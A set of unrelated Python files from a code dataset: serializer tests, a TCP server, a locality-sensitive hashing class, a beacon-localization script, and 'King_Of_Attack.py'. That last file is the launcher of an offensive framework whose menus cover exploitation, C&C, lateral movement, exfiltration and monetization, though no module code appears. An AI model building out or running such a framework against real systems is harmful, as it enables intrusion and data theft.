utf-8 -*-\n\n# Copyright (c) 2017, 2018 Jae-jun Kang\n# See the file LICENSE for details.\n\nimport datetime\nimport sys\n\nimport pytest\n\nsys.path.append('..')\nimport x2py\n\nfrom x2py.deserializer import Deserializer\nfrom x2py.serializer import Serializer\n\nfrom test import *\n\ndef test_byte():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [0, 1, 0x07f, 0x080, 0x0ff ]:\n s.write_byte(None, test_value)\n value = d.read_byte(None)\n assert value == test_value\n\ndef test_int8():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [ -128, -1, 0, 1, 127 ]:\n s.write_int8(None, test_value)\n value = d.read_int8(None)\n assert value == test_value\n\ndef test_int16():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [ -32768, -1, 0, 1, 32767 ]:\n s.write_int16(None, test_value)\n value = d.read_int16(None)\n assert value == test_value\n\ndef test_int32():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [ -2147483648, -1, 0, 1, 2147483647 ]:\n s.write_int32(None, test_value)\n value = d.read_int32(None)\n assert value == test_value\n\ndef test_int64():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [ -9223372036854775808, -1, 0, 1, 9223372036854775807 ]:\n s.write_int64(None, test_value)\n value = d.read_int64(None)\n assert value == test_value\n\ndef test_float64():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [ 0.01 ]:\n s.write_float64(None, test_value)\n value = d.read_float64(None)\n assert value == test_value\n\ndef test_nonnegative():\n s = Serializer()\n assert(len(s.buffer) == 0)\n s.write_nonnegative(0)\n assert(len(s.buffer) == 1)\n d = Deserializer(s.buffer)\n v, n = d.read_nonnegative()\n assert(v == 0)\n assert(n == 1)\n assert(len(s.buffer) == 1)\n\n s.write_nonnegative(1)\n v, n = d.read_nonnegative()\n assert(v == 1)\n assert(n == 1)\n\n s.write_nonnegative(127)\n v, n = d.read_nonnegative()\n assert(v == 127)\n assert(n == 1)\n\n s.write_nonnegative(128)\n v, n = d.read_nonnegative()\n assert(v == 128)\n assert(n == 2)\n\ndef test_string():\n if sys.version_info.major >= 3:\n strs = ['abcd', '한글']\n else:\n strs = ['abcd']\n for s in strs:\n encoded = s.encode('utf-8')\n assert Serializer.length_utf8(s) == len(encoded)\n\n buffer = bytearray()\n serializer = Serializer(buffer)\n serializer.write_string(None, s)\n assert bytes(buffer[1:]) == encoded\n\n d = Deserializer(buffer)\n decoded = d.read_string(None)\n assert decoded == s\n assert d.pos == len(buffer)\n\ndef test_datetime():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n for test_value in [ datetime.datetime.now(), datetime.datetime(1969, 12, 31) ]:\n s.write_datetime(None, test_value)\n value = d.read_datetime(None)\n truncated = test_value - datetime.timedelta(microseconds=(test_value.microsecond % 1000))\n assert value == truncated\n\ndef test_bytes():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n\n test_value = b'abcd'\n s.write_bytes(None, test_value)\n assert len(buffer) == 5\n value = d.read_bytes(None)\n assert value == test_value\n\ndef test_cell():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n\n metaprop = MetaProperty(None, MetaProperty.CELL, runtime_type=MyCell1)\n\n test_value = MyCell1()\n test_value.foo = 1\n s.write_cell(metaprop, test_value)\n\n value = d.read_cell(metaprop)\n assert value == test_value\n\ndef test_partial_serialization():\n s = Serializer(bytearray())\n d = Deserializer(s.buffer)\n\n c1 = MyCell1()\n c1.foo = 1\n c2 = MyCell2()\n c2.foo = 1\n c2.bar = 'bar'\n\n metaprop1 = MetaProperty(None, MetaProperty.CELL, runtime_type=type(c1))\n metaprop2 = MetaProperty(None, MetaProperty.CELL, runtime_type=type(c2))\n\n l2 = Serializer.length_cell(metaprop2, c2)\n s.write_cell(metaprop2, c2)\n assert l2 == len(s.buffer)\n v2 = d.read_cell(metaprop2)\n assert c2 == v2\n\n d.buffer = s.buffer = bytearray()\n d.pos = 0\n l1 = Serializer.length_cell(metaprop1, c2)\n s.write_cell(metaprop1, c2)\n assert l1 == len(s.buffer)\n assert l1 < l2\n v1 = d.read_cell(metaprop1)\n assert c1 == v1\n\ndef test_list():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n\n # list(int32)\n metaprop = MetaProperty('List', 13, details=[ MetaProperty('None', 5) ])\n\n test_value = [ 1, 2, 3 ]\n s.write_list(metaprop, test_value)\n\n value = d.read_list(metaprop)\n assert len(value) == len(test_value)\n assert value == test_value\n\ndef test_map():\n buffer = bytearray()\n s = Serializer(buffer)\n d = Deserializer(buffer)\n\n # map(int32, string)\n metaprop = MetaProperty('Map', 14, details=[ MetaProperty(None, 5), MetaProperty(None, 9) ])\n\n test_value = { 1: \"one\", 2: 'two', 3: 'three' }\n s.write_map(metaprop, test_value)\n\n value = d.read_map(metaprop)\n assert len(value) == len(test_value)\n assert value == test_value\n","sub_path":"tests/test_serialization.py","file_name":"test_serialization.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14832424","text":"#!/usr/bin/env python\n#coding:utf-8\n\nfrom os import getuid, getcwd, _exit\nfrom sys import path, argv, exit, version, version_info\npath.insert(0, getcwd() + '/src/')\npath.insert(0, getcwd() + '/src/core/')\npath.insert(0, getcwd() + '/src/modules/')\npath.insert(0, getcwd() + '/src/lib/')\nfrom util import Error, Msg, debug, header, print_menu\nfrom commands import getoutput\nfrom src.modules import initial_exploit, delivery, cc, monetization, internal_recon, lateral_movement, exfiltration, services,kcdemo\nimport config\nimport stream\nimport session_manager\nimport importlib\n\nclass LoadedModules:\n \"\"\"加载模块\"\"\"\n def __init__(self):\n self.total = 0\n self.initial_exploit = [] \n self.delivery = []\n self.cc = []\n self.monetization = []\n self.internal_recon = []\n self.lateral_movement = []\n self.exfiltration = []\n self.services = []\n self.kcdemo = []\n \t\n def load(self): \n for module in initial_exploit.__all__:\n mod = getattr(importlib.import_module('src.modules.initial_exploit.%s' % module, 'initial_exploit'), module)\n self.initial_exploit.append(mod)\n self.total +=1\n \n for module in delivery.__all__:\n mod = getattr(importlib.import_module('src.modules.delivery.%s' % module, 'delivery'), module)\n self.delivery.append(mod)\n self.total +=1\n \n for module in cc.__all__:\n mod = getattr(importlib.import_module('src.modules.cc.%s' % module, 'cc'), module)\n self.cc.append(mod)\n self.total +=1\n \n for module in monetization.__all__:\n mod = getattr(importlib.import_module('src.modules.monetization.%s' % module,'monetization'), module)\n self.monetization.append(mod)\n self.total +=1\n \n for module in internal_recon.__all__:\n mod = getattr(importlib.import_module('src.modules.internal_recon.%s' % module, 'internal_recon'), module)\n self.internal_recon.append(mod)\n self.total +=1\n \n for module in lateral_movement.__all__:\n mod = getattr(importlib.import_module('src.modules.lateral_movement.%s' % module, 'lateral_movement'), module)\n self.lateral_movement.append(mod)\n self.total +=1\n \n for module in exfiltration.__all__:\n mod = getattr(importlib.import_module('src.modules.exfiltration.%s' % module, 'exfiltration'), module)\n self.exfiltration.append(mod)\n self.total +=1\n \n for module in services.__all__:\n mod = getattr(importlib.import_module('src.modules.services.%s' % module, 'services'), module)\n self.services.append(mod)\n self.total +=1\n \n for module in kcdemo.__all__:\n mod = getattr(importlib.import_module('src.modules.kcdemo.%s' % module, 'kcdemo'), module)\n self.kcdemo.append(mod)\n self.total +=1\n\n\ndef main():\n config.initialize()\n \n loader = LoadedModules()\n loader.load()\n\n Msg('Loaded %d modules.' % loader.total)\n Msg('This software is only used for test, for commercial as well as other illegal activities is prohibited.')\n\n main_menu = ['Initial Exploit', 'Delivery', 'C&C', 'Monetization', 'Internal Recon', 'Lateral Movement', 'Exfiltration', 'Services', 'Killchain Demo', 'Session']\n\n running = True\n choice = -1\n while running:\n header()\n choice = print_menu(main_menu)\n\n if choice == 0:\n cnt = stream.get_session_count()\n if cnt >0:\n choice = raw_input('You have %d sessions running. Are you sure? [Y/N]' %cnt)\n if 'y' in choice.lower() or choice == '':\n Msg('Shutting all sessions down...')\n stream.stop_session('all', -1)\n running = False\n cnt = stream.get_session_count()\n if cnt <= 0:\n _exit(1)\n else:\n debug(\"Exiting with session count: %d\" % (cnt))\n Msg(\"Exiting...\")\n running = False\n elif choice == 1:\n while True:\n choice = print_menu([x().which for x in loader.initial_exploit])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.initial_exploit):\n continue\n else:\n stream.initialize(loader.initial_exploit[choice - 1])\n elif choice == 2:\n while True:\n choice = print_menu([x().which for x in loader.delivery])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.delivery):\n continue\n else:\n stream.initialize(loader.delivery[choice - 1])\n elif choice == 3:\n while True:\n choice = print_menu([x().which for x in loader.cc])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.cc):\n continue\n else:\n stream.initialize(loader.cc[choice - 1])\n elif choice == 4:\n while True:\n choice = print_menu([x().which for x in loader.monetization])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.monetization):\n continue\n else:\n stream.initialize(loader.monetization[choice - 1])\n elif choice == 5:\n while True:\n choice = print_menu([x().which for x in loader.internal_recon])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.internal_recon):\n continue\n else:\n stream.initialize(loader.internal_recon[choice - 1])\n elif choice == 6:\n while True:\n choice = print_menu([x().which for x in loader.lateral_movement])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.laternal_movement):\n continue\n else:\n stream.initialize(loader.laternal_movement[choice - 1])\n elif choice == 7:\n while True:\n choice = print_menu([x().which for x in loader.exfiltration])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.exfiltration):\n continue\n else:\n stream.initialize(loader.exfiltration[choice - 1])\n elif choice == 8:\n while True:\n choice = print_menu([x().which for x in loader.services])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.services):\n continue\n else:\n stream.initialize(loader.services[choice - 1])\n elif choice == 9:\n while True:\n choice = print_menu([x().which for x in loader.kcdemo])\n if choice == 0:\n break\n elif choice == -1:\n pass\n elif choice > len(loader.kcdemo):\n continue\n else:\n stream.initialize(loader.kcdemo[choice - 1])\n elif choice == 10:\n session_manager.menu()\n elif choice == -1:\n pass\n\n\nif __name__ == \"__main__\":\n #check for perm\n if int(getuid()) > 0:\n Error('Please run as a root.')\n exit(1)\n #check for python version\n if version_info[1] < 7:\n Error('King Of Attack must be run with Python 2.7.x. You are currently using %s' % version)\n exit(1)\n #check for forwording\n if not getoutput('cat /proc/sys/net/ipv4/ip_forward') == '1':\n Msg('IPv4 forwarding disabled. Enabling..')\n #tmp = getoutput('sudo sh -c \\ 'echo \"1\" > /prog/sys/net/ipv4/ip_forward\\'')\n tmp = getoutput('sudo sysctl -w net.ipv4.ip_forward=1')\n if len(tmp) > 0:\n Error('Error enabling IPv4 forwarding.')\n exit(1)\n main()\n","sub_path":"King_Of_Attack/King_Of_Attack.py","file_name":"King_Of_Attack.py","file_ext":"py","file_size_in_byte":8769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291914935","text":"#!/usr/bin/python3\nimport socket\n\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nhost = socket.gethostname()\nport = 444\nserversocket.bind((host, port))\nserversocket.listen(3)\nwhile True :\n\tclientsocket, address = serversocket.accept()\n\tprint(\"receive connection from address: %s \" % str(address))\n\tmessage = 'Hello! Thank you for connection to the server' + '\\r\\n'\n\tclientsocket.send(message.encode('ascii'))\n\tclientsocket.close()\n","sub_path":"TcpServer.py","file_name":"TcpServer.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"161870520","text":"import numpy as np\nimport random\nfrom sklearn.neighbors import KDTree\nimport heapq\n\nclass LSH:\n def __init__(self,n_dims,k,L,query_mode,R=10,n_candidates=2,seed=10):\n self.n_dims = n_dims\n self.k = k\n self.L = L\n self.hashfn = []\n self.R = R\n self.n_candidates = n_candidates\n self.query_mode = query_mode\n self.hash_calls = 0\n \n self.w_data = []\n self.b_data = []\n np.random.seed(seed)\n for i in range(self.L):\n hashfn, w, b = self.sample_hashfn()\n self.w_data.append(w)\n self.b_data.append(b)\n self.hashfn.append(hashfn)\n\n # data: [N, D]\n def setup(self,data):\n assert(data.shape[1] == (self.n_dims))\n assert(len(data.shape) == 2)\n self.data = data\n self.N = self.data.shape[0]\n\n\n # max_norm = np.max(np.sum(self.data**2,axis=1)**0.5)\n # for i in range(self.N):\n # self.data[i] = self.data[i] / max_norm\n\n\n self.hash_table = [{} for _ in range(self.L)]\n\n for i in range(self.N):\n data_point = self.preprocess(data[i])\n\n for j in range(self.L):\n key = self.hashfn[j](data_point) \n \n if key in self.hash_table[j].keys():\n self.hash_table[j][key].append(i)\n else: self.hash_table[j][key] = [i]\n \n self.bucket_data_store = {}\n self.bucket_key_store = {}\n if self.query_mode == 'kdtree':\n \n self.kd_table = []\n for j in range(self.L):\n kd_dict = {}\n for key in self.hash_table[j].keys():\n store_key = '{}_{}'.format(j,key)\n self.bucket_data_store[store_key] = []\n self.bucket_key_store[store_key] = []\n for idx in self.hash_table[j][key]:\n self.bucket_data_store[store_key].append(self.data[idx])\n self.bucket_key_store[store_key].append(idx)\n self.bucket_data_store[store_key] = np.array(self.bucket_data_store[store_key])\n kd_dict[key] = KDTree(self.bucket_data_store[store_key],self.n_candidates)\n \n self.kd_table.append(kd_dict)\n\n def query(self,x,top_k):\n\n x = self.preprocess(x)\n best_match = [0, np.inf]\n matches = []\n matches_set = set()\n search_counts = []\n\n # Scan through all L hash-tables\n for j in range(self.L):\n search_count = 0\n\n ########### \n # Step 1: Select buckets/keys that you want to search in the current hash-table\n w_list, b_list = self.w_data[j], self.b_data[j]\n buckets = [float(v) for v in self.hashfn[j](x).split('#')[1:]] \n perturbations = []\n for i in range(self.k):\n score_neg = ((np.dot(w_list[i],x) + b_list[i]) - self.R*buckets[i])**2\n score_pos = (self.R - score_neg)**2\n perturbations.append((score_neg,-1,i))\n perturbations.append((score_pos,1,i))\n perturbations.sort()\n \n def get_score(s):\n score = 0\n visited = set()\n for idx in s:\n score += perturbations[idx][0]\n if perturbations[idx][2] in visited:\n return -1\n visited.add(perturbations[idx][2])\n return score\n\n p_sets = []\n initial_set = set([0])\n heapq.heappush(p_sets,(get_score(initial_set),initial_set))\n\n keys_to_search = [self.hashfn[j](x)]\n for _ in range(10):\n score, minSet = heapq.heappop(p_sets)\n \n shiftSet = minSet.copy()\n maxima = max(shiftSet)\n shiftSet.remove(maxima)\n shiftSet.add(maxima+1)\n if maxima+1 < 2*self.k:\n heapq.heappush(p_sets,(get_score(shiftSet),shiftSet))\n \n expandSet = minSet.copy()\n maxima = max(expandSet)\n expandSet.add(maxima+1)\n if maxima+1 < 2*self.k:\n heapq.heappush(p_sets,(get_score(expandSet),expandSet))\n \n if score > 0:\n buckets_perturbed = buckets.copy()\n for idx in minSet:\n buckets_perturbed[perturbations[idx][2]] = buckets_perturbed[perturbations[idx][2]] + perturbations[idx][1]\n keys_to_search.append(self.get_key_from_buckets(buckets_perturbed))\n\n ###########\n #print('Searching {} keys...'.format(len(keys_to_search)))\n #print(keys_to_search[0],keys_to_search[1],keys_to_search[2])\n # Search through each of the buckets/keys\n for key in keys_to_search:\n \n # Ignore if bucket is empty\n if not key in self.hash_table[j].keys():\n #print('Key not found!')\n continue\n\n ########### \n # Step 2: Search Process Within A Bucket\n \n if self.query_mode == 'random':\n qxs = np.random.choice(self.hash_table[j][key],min(len(self.hash_table[j][key]),self.n_candidates),replace=False)\n for qx in qxs:\n distance = self.get_distance(self.data[qx],x)\n search_count += 1\n\n if not qx in matches_set: \n matches_set.add(qx)\n heapq.heappush(matches,(-distance,qx))\n if len(matches) > top_k:\n dx = heapq.heappop(matches)[1]\n matches_set.remove(dx)\n\n\n if distance < best_match[1]:\n best_match = [qx,distance]\n \n # Linear Scan\n elif self.query_mode == 'linear':\n for qx in self.hash_table[j][key]:\n distance = self.get_distance(self.data[qx],x)\n search_count += 1\n\n if not qx in matches_set: \n matches_set.add(qx)\n heapq.heappush(matches,(-distance,qx))\n if len(matches) > top_k:\n dx = heapq.heappop(matches)[1]\n matches_set.remove(dx)\n\n \n if distance < best_match[1]:\n best_match = [qx,distance]\n\n # KD-Tree Query\n elif self.query_mode == 'kdtree':\n self.kd_table[j][key].reset_n_calls()\n distances, qxs = self.kd_table[j][key].query(x.reshape((1,)+x.shape),min(len(self.hash_table[j][key]),self.n_candidates))\n search_count += self.kd_table[j][key].get_n_calls()\n for distance,qx in zip(distances[0],qxs[0]):\n try:\n qx = self.bucket_key_store['{}_{}'.format(j,key)][qx]\n except:\n continue\n if not qx in matches_set: \n matches_set.add(qx)\n heapq.heappush(matches,(-distance,qx))\n if len(matches) > top_k:\n dx = heapq.heappop(matches)[1]\n matches_set.remove(dx)\n if distance < best_match[1]:\n best_match = [qx,distance]\n\n search_counts.append(search_count)\n\n ########### \n matches.sort()\n matches = [i for d,i in matches]\n return self.data[best_match[0]],matches,search_counts\n\n def sample_hashfn(self):\n w_list = [np.random.random(self.n_dims) for _ in range(self.k)]\n b_list = [np.random.random() for _ in range(self.k)]\n\n def f(x):\n self.hash_calls += 1\n buckets = [ int(np.floor((np.dot(w,x) + b)/self.R)) for w,b in zip(w_list,b_list) ]\n return self.get_key_from_buckets(buckets)\n return f,w_list,b_list\n\n def reset_hash_calls(self):\n self.hash_calls = 0\n\n def get_key_from_buckets(self,buckets):\n key = ''\n for bucket in buckets:\n key = key + '#{}'.format(int(bucket))\n return key\n\n def get_distance(self,x,y):\n if(len(x) != len(y)):\n print('Length mismatch while computing distance!')\n return None\n distance = 0\n for i in range(len(x)):\n distance = distance + (x[i]-y[i])**2\n return distance\n\n def preprocess(self,x):\n return x# / np.linalg.norm(x)\n\n def exact_nn(self,x,top_k):\n best_match = [0, np.inf]\n matches = []\n \n for i in range(self.N):\n distance = self.get_distance(self.data[i],x)\n \n heapq.heappush(matches,(-distance,i))\n if len(matches) > top_k:\n heapq.heappop(matches)\n \n if distance < best_match[1]:\n best_match = [i,distance]\n \n matches.sort()\n matches = [i for d,i in matches]\n return self.data[best_match[0]],matches\n\n\n\n","sub_path":"lsh_multiprobe.py","file_name":"lsh_multiprobe.py","file_ext":"py","file_size_in_byte":7959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"359631453","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib.patches as patches\nimport scipy\n# import scipy.linalg as linalg \nimport numpy.linalg as linalg\n# import matplotlib.pyplot as plt\nfrom pylab import *\n# from math import *\nfrom argparse import ArgumentParser\nimport traceback\n\nparser = ArgumentParser(description='plot...?', epilog=\"?\")\nparser.add_argument(\"-b\", \"--beacon\", dest=\"b\", required=True, action='append')\nparser.add_argument(\"-s\", \"--sensor\", dest=\"s\", required=True)\nparser.add_argument(\"-f\", \"--file\", dest=\"f\", required=True)\nparser.add_argument(\"-g\", \"--groundtruthfile\", dest=\"g\", required=True, help=\"ground truth file for positions of sensors\")\nparser.add_argument(\"-d\", \"--B3distance\", dest=\"d\", required=False, help=\"B3 distance, in cm, from initial delimited area\")\n\nparser.add_argument(\"-p\", \"--plot\", dest=\"p\", required=False, help=\"plot, 1, or not, 0\")\n\n# parser.add_argument(\"-f2\", \"--file2\", dest=\"file2\", help=\"use filename of stag that need to be localized, (for eg. s1_test_1.dat\", required=True)\n\n# parser.add_argument(\"-tstart\", \"--truncatestart\", dest=\"truncate_start\", help=\"truncate data collected at the end\", required=False)\n# parser.add_argument(\"-tend\", \"--truncateend\", dest=\"truncate_end\", help=\"truncate data collected at the end\", required=False)\n\nargs = parser.parse_args()\n# print(args)\n# file1 = args.experiment\nb = args.b\ns = args.s\nmyfile = args.f\nground_truth_file = args.g\nb3distace = int(args.d) if args.d != None else 0\nplot_it = int(args.p) if args.p != None else 1\n\n# print(\"b\",b)\n\nsx=[]#[0,-50, 100, 0, 150, 100, 50, 200, -200,-200]\nsy=[]#[0, 50, 50, 150, 150,-100,-150, -200,-100, 250]\ncount_beacons={}\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.set_title(myfile)\n\nx = linspace(-300, 300, 600)\nlimit=300\nax.set_xlim(-limit,limit)\nax.set_ylim(-limit,limit)\nax.set_xlabel('x')\nax.set_ylabel('y')\n\nrect = patches.Rectangle((-250,-250),500,500,linewidth=1,edgecolor='black',facecolor='none',linestyle=\":\")\nax.add_patch(rect)\nax.set_aspect('equal')\n# ax.axis('equal')\n# su=[]\n\ncolors={}\ncolors['b1']='tomato'\ncolors['b2']='blue'\ncolors['b3']='olive'\ncolors['b4']='purple'\n\nEXCLUDE_POINTS_OUTSIDE_AREA = 1\nMAX_DISTANCE = 250\nbx=[-MAX_DISTANCE\t,0\t\t,MAX_DISTANCE-b3distace\t,0]\nby=[0\t\t,-MAX_DISTANCE\t,0\t\t,MAX_DISTANCE]\n\ncluster_by_beacon_pairs = {}\n\ndef check_beacons_pair(pair_cluster_of_intersected_points):\n\tpair_cluster_of_intersected_points = np.array(pair_cluster_of_intersected_points)\n\t# print(\"check beacon pair\")\n\t# print(\"std x: \",np.std(pair_cluster_of_intersected_points[:,0]))\n\t# print(\"std y: \", np.std(pair_cluster_of_intersected_points[:,1]))\n\t# print(\"std dev,std x,\", np.std(pair_cluster_of_intersected_points[:,0]),\"std y,\",np.std(pair_cluster_of_intersected_points[:,1]))\n\treturn np.std(pair_cluster_of_intersected_points[:,0]), np.std(pair_cluster_of_intersected_points[:,1])\n\n\ndef solve_sys_of_eqn(A, B, lstsq=1):\n\t# x = np.linalg.lstsq(A, B, rcond=-1)\n\t# print(A)\n\t# print(B)\n\n\t# print(x)\n\tif(lstsq):\n\t\tx = linalg.lstsq(A, B, rcond=-1)\n\t\t# x = linalg.tensorsolve(A, B)\n\t\t# LU = scipy_linalg.lu_factor(A) \n\t\t# x = scipy_linalg.lu_solve(LU, B) \n\t\t# print(x)\n\t\tu_x = x[0][0]\n\t\tu_y = x[0][1]\n\telse:\n\t\tx = np.linalg.solve(A, B)\n\t\tu_x = x[0]\n\t\tu_y = x[1]\n\t\t# x = scipy.linalg.lu_solve(scipy.linalg.lu_factor(A), B)\n\t\t# print(\"######################\")\n\t# print(x)\n\n\treturn u_x, u_y\n\ndef equation_of_line_given_beacon_degree(beacon, theta):\n\tif beacon=='b1':\n\t\t# m=math.tan(math.radians(theta))\n\t\tm=math.tan(math.radians((90 - theta) % 360 ))\n\t\t# m=math.tan(math.radians(270 - theta))\n\t\t# c=-math.tan(math.radians(theta)) * -250\n\t\t# c=250\n\t\tc=m*250\n\telif beacon=='b2':\n\t\t# m=math.tan(math.radians(270 + theta)) \n\t\tm=math.tan(math.radians(180-theta)) \n\t\tc=-250\n\telif beacon=='b3':\n\t\tm=math.tan(math.radians((270 - theta)))\n\t\tc=m*(-250+b3distace)\n\t\t# m=math.tan(math.radians(180 + theta))\n\t\t# c=-math.tan(math.radians(180 + theta)) * 250\n\telif beacon=='b4':\n\t\tm=math.tan(math.radians(180 - theta))\n\t\tc=250\n\telse:\n\t\tm=0\n\t\tc=0\n\t# print(\"y=%.2fx+%.2f\"%(m,c))\n\treturn m,c\n\ndef find_intercept_given_beacon_and_gradient(beacon, m):\n\tif beacon=='b1':\n\t\tc=m*250\n\telif beacon=='b2': \n\t\tc=-250\n\telif beacon=='b3':\n\t\tc=m*(-250+b3distace)\n\telif beacon=='b4':\n\t\tc=250\n\t# else:\n\t# \t#m==0\n\t# \tc=0\n\t# print(\"y=%.2fx+%.2f\"%(m,c))\n\treturn c\n\ndef compute_sensor_location(b ,s, myfile, b3distace=0, plot_it=0, lstsq=1, gt=0, iterate_through_all_combinations=0):\n\tA=[]\n\tB=[]\n\tM={} # gradients\n\tD={} # degrees\n\n\tfor beacon in b:\n\t\tM[beacon] = []\n\t\tD[beacon] = []\n\n\tfor i in range(4):\n\t\tax.text(bx[i], by[i], \"B\"+str(i+1))\n\t\tcount_beacons['b'+str(i+1)]=0\n\n\tmydata = np.genfromtxt(myfile, delimiter=',', encoding='bytes', dtype=None, names=('beacon', 'u_sensor', 'b_sensor', 'tstart', 'tend', 'degree'))\n\tfor i in range(0,len(mydata)):\n\t\tbeacon = str(mydata[i]['beacon'])\n\t\tsensor = str(mydata[i]['u_sensor'])\n\t\tbeacon = beacon[2:4]\n\t\tsensor = sensor[2:sensor.rfind(\"'\")]\n\n\t\t# print(beacon,sensor, mydata[i])\n\t\t# if(beacon!=''):\n\t\t\t\n\n\t\tif(beacon in b and sensor==s):\n\n\t\t\tm,c = equation_of_line_given_beacon_degree(beacon, mydata[i]['degree'])\n\t\t\tM[beacon].append(m)\n\t\t\tD[beacon].append(math.degrees(math.atan(m)))\n\n\t\t\tif(plot_it):\n\t\t\t\tax.plot(x, (m*x)+c, alpha=0.4, color=colors[beacon])#, label=\"y = x**2\")\n\t\t\t# A.append([1, -m])\n\t\t\t# B.append(c)\n\n\t\t\t# if(m!=0):\n\t\t\t# \tA.append([1, -1/m])\n\t\t\t# \tB.append(-c/m)\n\t\t\t# else:\n\t\t\t# \tA.append([1,0])\n\t\t\t# \tB.append(0)\n\t\t\tcount_beacons[beacon] = count_beacons[beacon] + 1\n\n\t# # print(\"b\",b)\n\tif gt:\n\t\tfor beacon in b:\n\t\t\tif M[beacon] != []:\n\t\t\t\t# print(\"###########GT M[beacon]:\", M[beacon])\n\t\t\t\tm = np.median(M[beacon])\n\t\t\t\t# m=M[beacon][int(len(M[beacon])/2)]\n\t\t\t\tc = find_intercept_given_beacon_and_gradient(beacon, m)\n\t\n\t\t\t\tif(plot_it):\n\t\t\t\t\tax.plot(x, (m*x)+c, alpha=1, linewidth=3, linestyle=\":\", color=colors[beacon])#, label=\"y = x**2\")\n\t\n\t\t\t\t# if(m!=0):\n\t\t\t\t# \tA.append([1, -1/m])\n\t\t\t\t# \tB.append(-c/m)\n\t\t\t\t# else:\n\t\t\t\t# \tA.append([1,0])\n\t\t\t\t# \tB.append(0)\n\n\t\t\t\tA.append([-m,1])\n\t\t\t\tB.append(c)\n\t\t# if(m == 0):\n\t\t# \tu_y = c\n\t\t# \tu_x = \n\t\tu_x, u_y = solve_sys_of_eqn(np.array(A), np.array(B), lstsq)\n\t\t\n\telif iterate_through_all_combinations:\n\t\tpass\n\telse:\n\n\t\tcluster_of_intersected_points = []\n\t\t\n\n\t\tprocessed_beacons = []\n\t\tfor beacon1 in b:\n\t\t\tprocessed_beacons.append(beacon1)\n\t\t\tfor beacon2 in b:\n\t\t\t\tif beacon2 not in processed_beacons:\n\t\t\t\t\tif cluster_by_beacon_pairs.get(beacon1) == None:\n\t\t\t\t\t\tcluster_by_beacon_pairs[beacon1]={}\n\t\t\t\t\tcluster_by_beacon_pairs[beacon1][beacon2]=[]\n\n\t\t# print(cluster_by_beacon_pairs)\n\n\n\t\tprocessed_beacons = []\n\t\tfor beacon1 in b:\n\t\t\tprocessed_beacons.append(beacon1)\n\t\t\tfor beacon2 in b:\n\t\t\t\tif beacon1 != beacon2 and M[beacon1] != [] and M[beacon2] != [] and beacon2 not in processed_beacons:\n\t\t\t\t\tfor m1 in M[beacon1]:\n\t\t\t\t\t\tfor m2 in M[beacon2]:\n\t\t\t\t\t\t\t# print(beacon1, beacon2, m1, m2)\n\t\t\t\t\t\t\tA=[]\n\t\t\t\t\t\t\tB=[]\n\t\t\t\t\t\t\tc1 = find_intercept_given_beacon_and_gradient(beacon1, m1)\n\t\t\t\t\t\t\tc2 = find_intercept_given_beacon_and_gradient(beacon2, m2)\n\t\t\t\t\t\t\tif(m1!=0):\n\t\t\t\t\t\t\t\tA.append([1, -1/m1])\n\t\t\t\t\t\t\t\tB.append(-c1/m1)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tA.append([1,0])\n\t\t\t\t\t\t\t\tB.append(0)\n\t\t\t\t\t\t\tif(m2!=0):\n\t\t\t\t\t\t\t\tA.append([1, -1/m2])\n\t\t\t\t\t\t\t\tB.append(-c2/m2)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tA.append([1,0])\n\t\t\t\t\t\t\t\tB.append(0)\n\n\t\t\t\t\t\t\t# print(\"A\\n\",A,\"\\nB\\n\",B)\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tu_x, u_y = solve_sys_of_eqn(np.array(A), np.array(B), lstsq=0) # neither over- or under- determined\n\n\t\t\t\t\t\t\t\tif( ((abs(u_x) <= MAX_DISTANCE and abs(u_y) <= MAX_DISTANCE) and EXCLUDE_POINTS_OUTSIDE_AREA) or not EXCLUDE_POINTS_OUTSIDE_AREA):\n\t\t\t\t\t\t\t\t\tcluster_by_beacon_pairs[beacon1][beacon2].append([u_x, u_y])\n\t\t\t\t\t\t\t\t\tcluster_of_intersected_points.append([u_x,u_y])\n\t\t\t\t\t\t\t\t\tax.scatter(u_x,u_y,marker='+', color='green')\n\n\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t# pass\n\t\t\t\t\t\t\t\tprint(traceback.print_exc())\n\t\t\t\t\t\t\t\t# print(\"ERROR SOLVING<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\")\n\t\t\t\t\t\t\t# 